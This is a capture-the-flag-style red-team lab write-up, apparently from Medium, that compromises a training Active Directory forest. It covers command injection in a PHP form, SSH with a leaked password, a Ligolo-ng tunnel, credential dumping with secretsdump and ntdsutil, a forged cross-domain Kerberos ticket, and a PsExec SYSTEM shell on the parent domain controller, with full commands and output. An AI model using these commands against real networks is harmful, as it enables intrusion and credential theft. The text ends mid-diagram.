CRTA Lab Writeup: From Web Shell to Domain Admin
- Overview
- Acronym and Term Reference
- Section 1: Network Scope and Environment Layout
- Section 2: External Host Discovery and Port Scanning
- Section 3: Web Application Exploitation (Command Injection)
- Section 4: Internal Network Discovery from the Compromised Host
- Section 5: LinPEAS Enumeration and Credential Discovery
- Section 6: Setting up Ligolo-ng for Network Pivoting
- Section 7: Detailed Internal Scans from Attack Machine
- Section 8: Mounting the MGMT Share and File System Exploration
- Section 9: Credential Extraction from MGMT Using secretsdump
- Section 10: Targeting the Child Domain Controller (CDC)
- Section 11: SID Enumeration for Both Domains
- Section 12: Forging a Cross-Domain Kerberos Ticket
- Section 13: Dumping the Parent Domain Admin Hash
- Section 14: SYSTEM Shell on DC01
- Section 15: Cleanup
- Attack Chain Summary
- Tools Used
- Credentials Collected
- Machines Compromised
Note: This article was originally published on Medium.
Overview
I completed the Certified Red Team Analyst (CRTA) lab by CyberWareFare Labs. It took me almost 4 full hours to complete and document this lab. With the help of LLMs, I successfully managed to learn a lot of things and get to the domain admin account.
The environment simulated a corporate network with a Linux web server exposed to the internet, a pfSense firewall, and an internal Active Directory forest consisting of a parent domain (warfare.corp) and a child domain (child.warfare.corp). My objective was to start from the external network, compromise the web server, pivot into the internal network, and escalate all the way to Domain Admin on the parent domain controller.
The Attack Chain Overview:
- Host Discovery: Discovered two hosts on the external network via Nmap. One was a pfSense firewall, the other a Linux web server running Apache.
- Command Injection: Found and exploited a command injection vulnerability in the
EMAILparameter ofdashboard1.phpon the web application. - Initial Foothold: Read
/etc/passwdthrough the command injection, found a user namedprivilegewhose GECOS field contained the passwordAdmin@962, and SSH’d in. - Credential Harvesting: Ran LinPEAS on the web server and found a Firefox
places.sqlitedatabase containing credentials for a domain user ([email protected]/User1@#$%6) pointing at the internal management workstation. - Network Pivoting: Set up Ligolo-ng to tunnel from my attack machine through the web server into the internal
192.168.98.0/24network. - LSA Secrets Dumping: Used Impacket’s
secretsdump.pywith John’s credentials against the MGMT workstation, extracting a second domain user’s plaintext password (corpmngr/User4&*&*) from the LSA Secrets. - Active Directory Database Extraction: Used
corpmngr’s credentials to get a WMI shell on the child domain controller (CDC), dumped theNTDS.ditvia an IFM backup, and extracted thekrbtgtAES key offline. - Cross-Domain Kerberos Escalation: Forged a cross-domain Kerberos ticket using
ticketer.py, requested a CIFS service ticket for the parent DC, dumped the parent domain Administrator’s NTLM hash, and got aSYSTEMshell on DC01 via PsExec.
The entire lab spans three network segments and four machines. I used a Windows 10 machine as my attacker/operator workstation throughout the engagement.
Acronym and Term Reference
Before diving in, here is every acronym and technical term used in this writeup, with a one-line definition and where to read more:
- CRTA (Certified Red Team Analyst): A certification by CyberWareFare Labs focused on Active Directory attacks and red team methodology.
- AD (Active Directory): Microsoft’s directory service for managing users, computers, and policies on a Windows domain network. Microsoft Docs
- DC (Domain Controller): A server that responds to authentication requests within a Windows domain and stores the AD database (
NTDS.dit). - DNS (Domain Name System): Translates human-readable domain names (like
warfare.corp) into IP addresses. Port 53. - SSH (Secure Shell): A protocol for encrypted remote command-line access to a machine, typically over port 22.
- HTTP (HyperText Transfer Protocol): The protocol web browsers use to load web pages, typically over port 80 (unencrypted) or 443 (encrypted/HTTPS).
- SMB (Server Message Block): A Windows file-sharing protocol running on port 445. Also used for remote administration and lateral movement in AD environments.
- LDAP (Lightweight Directory Access Protocol): The protocol used to query and modify Active Directory. Runs on port 389 (plaintext) or port 636 (LDAPS, encrypted). Port 3268 is the Global Catalog port.
- RPC (Remote Procedure Call): A protocol that lets one program request a service from another program on a different machine. Port 135 handles the RPC endpoint mapper on Windows. Port 593 is RPC over HTTP.
- NetBIOS (Network Basic Input/Output System): A legacy Windows networking protocol on port 139, used for name resolution and session services.
- Kerberos: The default authentication protocol in Active Directory. Uses “tickets” instead of sending passwords over the network. Runs on port 88. Port 464 is for Kerberos password changes.
- NTDS.dit (NT Directory Services — Directory Information Tree): The database file on every Domain Controller that stores all AD objects: usernames, password hashes, group memberships, trust keys.
- NTLM Hash (NT LAN Manager Hash): A hashed version of a Windows password. If you obtain someone’s NTLM hash, you can authenticate as them without knowing the plaintext password (Pass-the-Hash).
- SAM (Security Account Manager): A database on each Windows machine that stores local user account password hashes.
- LSA (Local Security Authority): A Windows subsystem that handles authentication. “LSA Secrets” are credentials stored in the registry that services use to log in.
- SID (Security Identifier): A unique string Windows assigns to every user, group, and computer. Example:
S-1-5-21-3754860944-83624914-1883974761. - RID (Relative Identifier): The last portion of a SID that identifies a specific account within a domain. For example, RID 500 is always the built-in Administrator.
- CIFS (Common Internet File System): An SMB dialect. Used interchangeably with SMB in most contexts.
- SPN (Service Principal Name): An identifier that ties a Kerberos service (like CIFS for file sharing) to a specific machine.
- TGT (Ticket-Granting Ticket): The first ticket you get from Kerberos when you authenticate. You present it to request service-specific tickets (TGS).
- TGS (Ticket-Granting Service ticket): The service-specific ticket Kerberos gives you after you present a valid TGT.
- PAC (Privileged Attribute Certificate): A data structure inside a Kerberos ticket that lists the user’s group memberships. Forging the PAC lets an attacker add themselves to groups they do not belong to.
- Golden Ticket: A forged TGT created using the
krbtgtaccount’s hash, granting universal access to anything in the domain. - IFM (Install From Media): A feature of
ntdsutilthat creates a portable copy of the AD database (NTDS.dit+SYSTEM+SECURITYregistry hives). Intended for promoting new DCs offline, but attackers use it to exfiltrate the database. - DCC2 (Domain Cached Credentials version 2): Hashed domain passwords cached locally on Windows machines so users can log in when the DC is unreachable.
- DPAPI (Data Protection Application Programming Interface): A Windows API for encrypting/decrypting secrets.
- DRSUAPI (Directory Replication Service Remote Protocol): The protocol domain controllers use to replicate AD data between each other.
secretsdump.pyuses this to remotely extract hashes from a DC (DCSync). - pfSense: An open-source firewall/router distribution based on FreeBSD.
- Ligolo-ng: A tunneling tool that creates a virtual network interface on your attack machine, routing traffic through a compromised host into otherwise-unreachable networks. GitHub
- LinPEAS (Linux Privilege Escalation Awesome Script): An automated script that enumerates a Linux system for privilege escalation vectors. GitHub
- Impacket: A Python library by Fortra for working with Windows network protocols. Ships with scripts like
secretsdump.py,psexec.py,ticketer.py, andwmiexec.py. GitHub - WMI (Windows Management Instrumentation): A Windows administration framework.
wmiexec.pyuses it to execute commands remotely without uploading a binary. - Nmap (Network Mapper): A port scanner and network discovery tool. nmap.org
- BurpSuite: A web application security testing proxy by PortSwigger. Intercepts HTTP requests so you can modify and replay them.
- SCP (Secure Copy Protocol): A command-line tool that copies files over SSH.
- GECOS (General Electric Comprehensive Operating Supervisor): A legacy name for the comment/description field in
/etc/passwd.
Section 1: Network Scope and Environment Layout
Why this matters
Before touching anything, I needed to know which IP ranges were in play. The lab provided a scope file defining three network segments. Scanning outside of scope is a rule violation in any real engagement, and in a lab, it wastes time.
The Scope
- VPN (
10.10.200.0/24): My Windows attack machine’s VPN connection to the lab infrastructure. - External (
192.168.80.0/24): The “internet-facing” network. This is where I land after connecting to the VPN. - Internal (
192.168.98.0/24): The corporate LAN behind the firewall. Not directly reachable from my machine.
My attack machine (Windows 10, referred to as [Attacker-Windows] in command prompts below) sat on 10.10.200.0/24. The external network was routable from there. The internal network was not; I would need to pivot through a compromised host to reach it.
Reading the Command Prompts:
-
[Attacker-Windows]= My Windows 10 attack machine. -
privilege@ubuntu-virtual-machine= The compromised Linux web server (192.168.80.10/192.168.98.15). -
C:\>inside awmiexecsession = The remote Windows machine I got a shell on (e.g., CDC at192.168.98.120). -
C:\Windows\system32>inside apsexecsession = The remote Windows machine I got SYSTEM on (e.g., DC01 at192.168.98.2).
Section 2: External Host Discovery and Port Scanning
Host Discovery
I ran an Nmap ping sweep against the entire external /24 subnet (256 addresses):
$ nmap -sn 192.168.80.0/24 --unprivileged -T4 --min-parallelism 5 --max-parallelism 20
Starting Nmap 7.94 ( https://nmap.org ) at 2026-07-15 16:09 Bangladesh Standard Time
Nmap scan report for 192.168.80.1
Host is up (0.16s latency).
Nmap scan report for 192.168.80.10
Host is up (0.23s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 24.94 seconds
Result: Out of 256 IP addresses scanned, only 2 hosts were alive: 192.168.80.1 and 192.168.80.10.
Service Detection and Version Scanning
Next, I ran a service version and default script scan on both hosts:
$ nmap -sC -sV 192.168.80.1,10 --unprivileged -T4 --min-parallelism 15 --max-parallelism 25
Starting Nmap 7.94 ( https://nmap.org ) at 2026-07-15 16:12 Bangladesh Standard Time
Nmap scan report for 192.168.80.1
Host is up (0.44s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Unbound
80/tcp open http nginx
|_http-title: pfSense - Login
Nmap scan report for 192.168.80.10
Host is up (0.44s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 8d:c3:a7:a5:bf:16:51:f2:03:85:a7:37:ee:ae:8d:81 (RSA)
| 256 9a:b2:73:5a:e5:36:b4:91:d8:8c:f7:4a:d0:15:65:28 (ECDSA)
|_ 256 3c:16:a7:6a:b6:33:c5:83:ab:7f:99:60:6a:4c:09:11 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Cyber WareFare Labs
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 2 IP addresses (2 hosts up) scanned in 123.99 seconds
192.168.80.1 (Firewall/Gateway) — 2 open ports, 998 filtered
- 53/tcp (DNS - Unbound): A recursive DNS resolver handling name lookups.
- 80/tcp (HTTP - Nginx): Serving the pfSense login page (
http-title: pfSense - Login). - Verdict: This machine is the network’s firewall. The remaining 998 ports were filtered. I left this machine alone; the web server was my target.
192.168.80.10 (Target Web Server) — 2 open ports, 998 filtered
- 22/tcp (SSH - OpenSSH 8.2p1 Ubuntu): Standard remote access with three host keys.
- 80/tcp (HTTP - Apache httpd 2.4.41): Web application titled “Cyber WareFare Labs”. Confirmed Ubuntu Linux.
Section 3: Web Application Exploitation (Command Injection)
How I Found It
I intercepted the web application’s requests using BurpSuite. One endpoint, POST /dashboard1.php, had a parameter called EMAIL. The form was a newsletter subscription box. I submitted ls as the value to test for command injection.
POST /dashboard1.php HTTP/1.1
Host: 192.168.80.10
Content-Length: 8
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://192.168.80.10
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Cookie: PHPSESSID=2vve4j7nvilps3qcj7ic6kqh8d; id=Test
Connection: keep-alive
EMAIL=ls
The server responded with a JavaScript alert (Thanks for subcribing ..!) followed by a directory listing of the web root embedded directly in the HTML:
<script>alert("Thanks for subcribing ..!")</script>Template Main
add.php
addemp.php
assets
career.php
config.php
css
dashboard1.php
dashboard2.php
dashboard3.php
dbcontroller.php
down.php
emplogin.php
filelog.php
fonts
index.php
js
logout.php
malicious.php
order2.php
os.php
pdfresum.php
registration.php
rememp.php
report.php
sam.txt
script.sh
script1.sh
search.php
shop-grid.php
style.css
test5.php
test6.php
test7.php
test8.php
testup.php
val.php
The server had executed ls and returned the output inline. Command injection was confirmed.
Reading /etc/passwd
I sent a second request with cat /etc/passwd as the EMAIL value:
POST /dashboard1.php HTTP/1.1
Host: 192.168.80.10
Content-Length: 21
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=2vve4j7nvilps3qcj7ic6kqh8d; id=Test
EMAIL=cat /etc/passwd
Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
geoclue:x:123:128::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
ubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
privilege:x:1001:1001:Admin@962:/home/privilege:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
mysql:x:129:135:MySQL Server,,,:/nonexistent:/bin/false
Out of all these accounts, only 3 had interactive login shells (/bin/bash):
root:x:0:0:root:/root:/bin/bashubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bashprivilege:x:1001:1001:Admin@962:/home/privilege:/bin/bash
The privilege user (UID 1001) had its GECOS field set to Admin@962. In this lab, it contained the user’s password.
Getting SSH Access
I tested Admin@962 as the password for SSH:
$ ssh [email protected]
The authenticity of host '192.168.80.10 (192.168.80.10)' can't be established.
ED25519 key fingerprint is SHA256:RHpGTqvkXkAP6/HA3vpHP8gkrtApbfyYYjteCh3N/TE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.80.10' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-67-generic x86_64)
privilege@ubuntu-virtual-machine:~$
Checking Sudo Privileges and Network Interfaces
privilege@ubuntu-virtual-machine:~$ sudo -l
[sudo] password for privilege:
Matching Defaults entries for privilege on ubuntu-virtual-machine:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User privilege may run the following commands on ubuntu-virtual-machine:
(ALL : ALL) ALL
(ALL : ALL) ALL gave full root control over the machine.
privilege@ubuntu-virtual-machine:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
inet 127.0.0.1/8 scope host lo
2: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
inet 192.168.98.15/24 brd 192.168.98.255 scope global noprefixroute ens34
3: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
inet 192.168.80.10/24 brd 192.168.80.255 scope global noprefixroute ens32
This machine was dual-homed:
-
ens32(192.168.80.10/24): External-facing NIC. -
ens34(192.168.98.15/24): Internal-facing NIC reaching the192.168.98.0/24subnet directly.
Section 4: Internal Network Discovery from the Compromised Host
Uploading Tools & Ping Sweep
I transferred a static Nmap binary via SCP and swept the internal subnet:
[Attacker-Windows] C:\CRTA_LAB> scp nmap [email protected]:/home/privilege/
privilege@ubuntu-virtual-machine:~$ chmod +x nmap
privilege@ubuntu-virtual-machine:~$ ./nmap -sn 192.168.98.0/24
Nmap scan report for 192.168.98.2
Host is up (0.0010s latency).
Nmap scan report for 192.168.98.15
Host is up (0.000030s latency).
Nmap scan report for 192.168.98.30
Host is up (0.0023s latency).
Nmap scan report for 192.168.98.120
Host is up (0.00088s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 15.31 seconds
4 hosts were alive on the internal network: 192.168.98.2, 192.168.98.15, 192.168.98.30, and 192.168.98.120.
Internal Port Scan
privilege@ubuntu-virtual-machine:~$ ./nmap 192.168.98.2,15,30,120
Nmap scan report for 192.168.98.2
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos
135/tcp open epmap
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldaps
Nmap scan report for 192.168.98.15
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap scan report for 192.168.98.30
PORT STATE SERVICE
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap scan report for 192.168.98.120
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos
135/tcp open epmap
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldaps
Host Analysis:
-
192.168.98.2&192.168.98.120: 9 open ports each (DNS, Kerberos, LDAP, LDAPS, SMB, RPC). Classic Active Directory Domain Controller fingerprints. -
192.168.98.15: Linux Web Server (the current compromised machine). -
192.168.98.30: 3 open ports (RPC, NetBIOS, SMB). Windows Workstation or Member Server.
Section 5: LinPEAS Enumeration and Credential Discovery
The Critical Finding: Firefox SQLite Database
LinPEAS flagged Firefox’s browsing history in places.sqlite:
privilege@ubuntu-virtual-machine:~$ sqlite3 /home/privilege/.mozilla/firefox/b2rri1qd.default-release/places.sqlite
sqlite> SELECT url, title FROM moz_places;
Among the entries:
http://192.168.98.30/admin/[email protected]&pass=User1@#$%6|
Someone had logged into an admin panel on the MGMT workstation (192.168.98.30) passing credentials in the URL query string.
- Extracted Credentials:
- User:
[email protected] - Password:
User1@#$%6
- User:
Section 6: Setting up Ligolo-ng for Network Pivoting
Starting the Proxy on Attack Machine
[Attacker-Windows] C:\CRTA_LAB\ligolo> proxy.exe -selfcert
Listening on 0.0.0.0:11601.
Connecting the Agent from the Web Server
privilege@ubuntu-virtual-machine:~$ ./ligolo-agent -connect 10.10.200.120:11601 -ignore-cert
Inside Ligolo:
ligolo-ng » session
? Specify a session : 1 - privilege@ubuntu-virtual-machine
[Agent : privilege@ubuntu-virtual-machine] » start
Adding the Route on Windows
[Attacker-Windows] PS> New-NetRoute -DestinationPrefix "192.168.98.0/24" -InterfaceAlias "ligolo"
Verification:
[Attacker-Windows] C:\CRTA_LAB\ligolo> ping 192.168.98.30
Reply from 192.168.98.30: bytes=32 time=513ms TTL=64
The tunnel was fully functional.
Section 7: Detailed Internal Scans from Attack Machine
With the tunnel active, I ran full version and script scans directly from my Windows machine:
DC01 (192.168.98.2) — Parent Domain Controller
- Domain:
warfare.corp - Hostname:
DC01 - SMB Signing: Enabled and required.
- Ports: 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5357.
MGMT (192.168.98.30) — Management Workstation
- Hostname:
MGMT - SMB Signing: Enabled but not required (vulnerable to relay/tampering).
- Ports: 135, 139, 445.
CDC (192.168.98.120) — Child Domain Controller
- Domain:
child.warfare.corp - Hostname:
CDC - SMB Signing: Enabled and required.
- Ports: 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5357.
Section 8: Mounting the MGMT Share and File System Exploration
privilege@ubuntu-virtual-machine:~$ mkdir /tmp/share
privilege@ubuntu-virtual-machine:~$ sudo mount -t cifs //192.168.98.30/C$ /tmp/share \
-o username=john,password='User1@#$%6',domain=child.warfare.corp
User profiles on MGMT:
drwxr-xr-x 2 root root 0 Jan 15 2025 Administrator
drwxr-xr-x 2 root root 0 Jan 16 2025 corpmngr
drwxr-xr-x 2 root root 0 Jan 19 2025 corpmngr.CHILD
drwxr-xr-x 2 root root 0 Jan 19 2025 john
drwxr-xr-x 2 root root 0 Jan 17 2025 john.CHILD
Profiles for corpmngr and john confirmed active logon history on the workstation.
Section 9: Credential Extraction from MGMT Using secretsdump
[Attacker-Windows] C:\CRTA_LAB\lateral> python secretsdump.py "child.warfare.corp/john:User1@#$%[email protected]"
[*] Target system bootKey: 0x7d25542d784b7dec178f7c6d07cd7aa0
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:69865e966bb089639e9b1c7f719427fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:169a376cbed3e83e5ea8eec2d248ce0c:::
[*] Dumping cached domain logon information (domain/username:hash)
CHILD.WARFARE.CORP/john:$DCC2$10240#john#9855312d42ee254a7334845613120e61: (2025-01-17 14:47:56+00:00)
CHILD.WARFARE.CORP/corpmngr:$DCC2$10240#corpmngr#7fd50bbab99e8ea7ae9c1899f6dea7c6: (2025-01-19 15:21:56+00:00)
[*] Dumping LSA Secrets
[*] _SC_SNMPTRAP
[email protected]:User4&*&*
- Extracted Plaintext Domain Password:
- User:
[email protected] - Password:
User4&*&*
- User:
Section 10: Targeting the Child Domain Controller (CDC)
Getting a Shell on CDC with wmiexec
[Attacker-Windows] C:\CRTA_LAB\lateral> python wmiexec.py "child.warfare.corp/corpmngr:User4&*&*@192.168.98.120"
C:\>
Creating an IFM Backup of the AD Database
C:\> mkdir C:\Windows\Tasks\db
C:\> ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Tasks\db" quit quit
Creating snapshot...
Snapshot set {a8991842-febd-4f18-9b9c-ee8ecd3d7278} generated successfully.
Source Database: C:\$SNAP_202607151833_VOLUMEC$\Windows\NTDS\ntds.dit
Target Database: C:\Windows\Tasks\db\Active Directory\ntds.dit
Copying registry files...
Copying C:\Windows\Tasks\db\registry\SYSTEM
Copying C:\Windows\Tasks\db\registry\SECURITY
IFM media created successfully in C:\Windows\Tasks\db
Exfiltrating Files & Offline Dumping
[Attacker-Windows] C:\CRTA_LAB\lateral> copy "\\192.168.98.120\C$\Windows\Tasks\db\Active Directory\ntds.dit" .
[Attacker-Windows] C:\CRTA_LAB\lateral> copy "\\192.168.98.120\C$\Windows\Tasks\db\registry\SYSTEM" .
[Attacker-Windows] C:\CRTA_LAB\lateral> python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8a8124cbf8513e07f1eeb0026c4d9de2:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e57dd34c1871b7a23fb17a77dec9b900:::
WARFARE$:1103:aad3b435b51404eeaad3b435b51404ee:4aecd69741f12fbc1b27d962a28ff7a8:::
child.warfare.corp\john:1104:aad3b435b51404eeaad3b435b51404ee:b6f7e9a9a92eaa9ecffb698657dfab36:::
child.warfare.corp\corpmngr:1106:aad3b435b51404eeaad3b435b51404ee:4cb3933610b827a281ec479031128cc6:::
[*] Kerberos keys from ntds.dit
krbtgt:aes256-cts-hmac-sha1-96:ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2
WARFARE$:aes256-cts-hmac-sha1-96:5a59da180f0b799f6d6d48fe043f388604b835c0498422f111bfce5ec87dea6a
- Target Keys Acquired:
-
krbtgtAES-256 Key:ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 - Trust Account (
WARFARE$):4aecd69741f12fbc1b27d962a28ff7a8
-
Section 11: SID Enumeration for Both Domains
Child Domain SID
[Attacker-Windows] C:\CRTA_LAB\lateral> python lookupsid.py "child.warfare.corp/corpmngr:User4&*&*@192.168.98.120"
Domain SID is: S-1-5-21-3754860944-83624914-1883974761
Parent Domain SID
[Attacker-Windows] C:\CRTA_LAB\lateral> python lookupsid.py "child.warfare.corp/corpmngr:User4&*&*@192.168.98.2"
Domain SID is: S-1-5-21-3375883379-808943238-3239386119
Section 12: Forging a Cross-Domain Kerberos Ticket
DNS Setup (Hosts file)
[Attacker-Windows] C:\> echo 192.168.98.2 dc01.warfare.corp >> C:\Windows\System32\drivers\etc\hosts
[Attacker-Windows] C:\> echo 192.168.98.120 child.warfare.corp >> C:\Windows\System32\drivers\etc\hosts
[Attacker-Windows] C:\> echo 192.168.98.120 cdc.child.warfare.corp >> C:\Windows\System32\drivers\etc\hosts
[Attacker-Windows] C:\> echo 192.168.98.2 warfare.corp >> C:\Windows\System32\drivers\etc\hosts
Forging the Ticket with ticketer.py
[Attacker-Windows] C:\CRTA_LAB\lateral> python ticketer.py -domain child.warfare.corp -aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 -domain-sid S-1-5-21-3754860944-83624914-1883974761 -groups 516 -user-id 1106 -extra-sid S-1-5-21-3375883379-808943238-3239386119-516,S-1-5-9 "corpmngr"
- Injected extra SIDs for parent Domain Controllers (
RID 516) and Enterprise Domain Controllers (S-1-5-9). - Generated
corpmngr.ccache.
Requesting a Service Ticket for DC01
[Attacker-Windows] C:\CRTA_LAB\lateral> set KRB5CCNAME=corpmngr.ccache
[Attacker-Windows] C:\CRTA_LAB\lateral> python getST.py -spn "CIFS/dc01.warfare.corp" -k -no-pass child.warfare.corp/corpmngr
Saved ticket in corpmngr@[email protected].
Section 13: Dumping the Parent Domain Admin Hash
[Attacker-Windows] C:\CRTA_LAB\lateral> set KRB5CCNAME=corpmngr@[email protected]
[Attacker-Windows] C:\CRTA_LAB\lateral> python secretsdump.py -k -no-pass dc01.warfare.corp -just-dc-user "warfare\Administrator"
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a2f7b77b62cd97161e18be2ffcfdfd60:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:ca1d92ce23046a58b1cec292376a7d3ec6de02176bf44fb50fede1db46fec183
- Parent Domain Administrator NTLM Hash:
a2f7b77b62cd97161e18be2ffcfdfd60
Section 14: SYSTEM Shell on DC01
[Attacker-Windows] C:\CRTA_LAB\lateral> python psexec.py "warfare/[email protected]" -hashes aad3b435b51404eeaad3b435b51404ee:a2f7b77b62cd97161e18be2ffcfdfd60
[*] Requesting shares on dc01.warfare.corp.....
[*] Found writable share ADMIN$
[*] Uploading file nQTxRWms.exe
[*] Opening SVCManager on dc01.warfare.corp.....
[*] Creating service cfOI on dc01.warfare.corp.....
[*] Starting service cfOI.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> hostname
dc01
C:\Windows\system32> ipconfig
Ethernet adapter Ethernet0:
IPv4 Address. . . . . . . . . . . : 192.168.98.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.98.1
Successfully escalated to NT AUTHORITY\SYSTEM on the parent domain controller.
Section 15: Cleanup
Removed the IFM backup from the child domain controller:
net use "\\192.168.98.120\C$" "User4&*&*" /user:child.warfare.corp\corpmngr
rmdir /s /q "\\192.168.98.120\C$\Windows\Tasks\db"
net use "\\192.168.98.120\C$" /delete
Attack Chain Summary
┌─────────────────────────────────────────────────────────────────────────┐
│ EXTERNAL NETWORK (192.168.80.0/24) │
│ │
│ [Attacker] ──Nmap scan (2 hosts, 4 open ports total)──> │
│ │
│ ├─ 192.168.80.1 (pfSense firewall, 2 ports: 53, 80) │
│ └─ 192.168.80.10 (Web server, 2 ports: 22, 80) │
│ │
│ BurpSuite: POST /dashboard1.php, EMAIL=ls -> command injection │
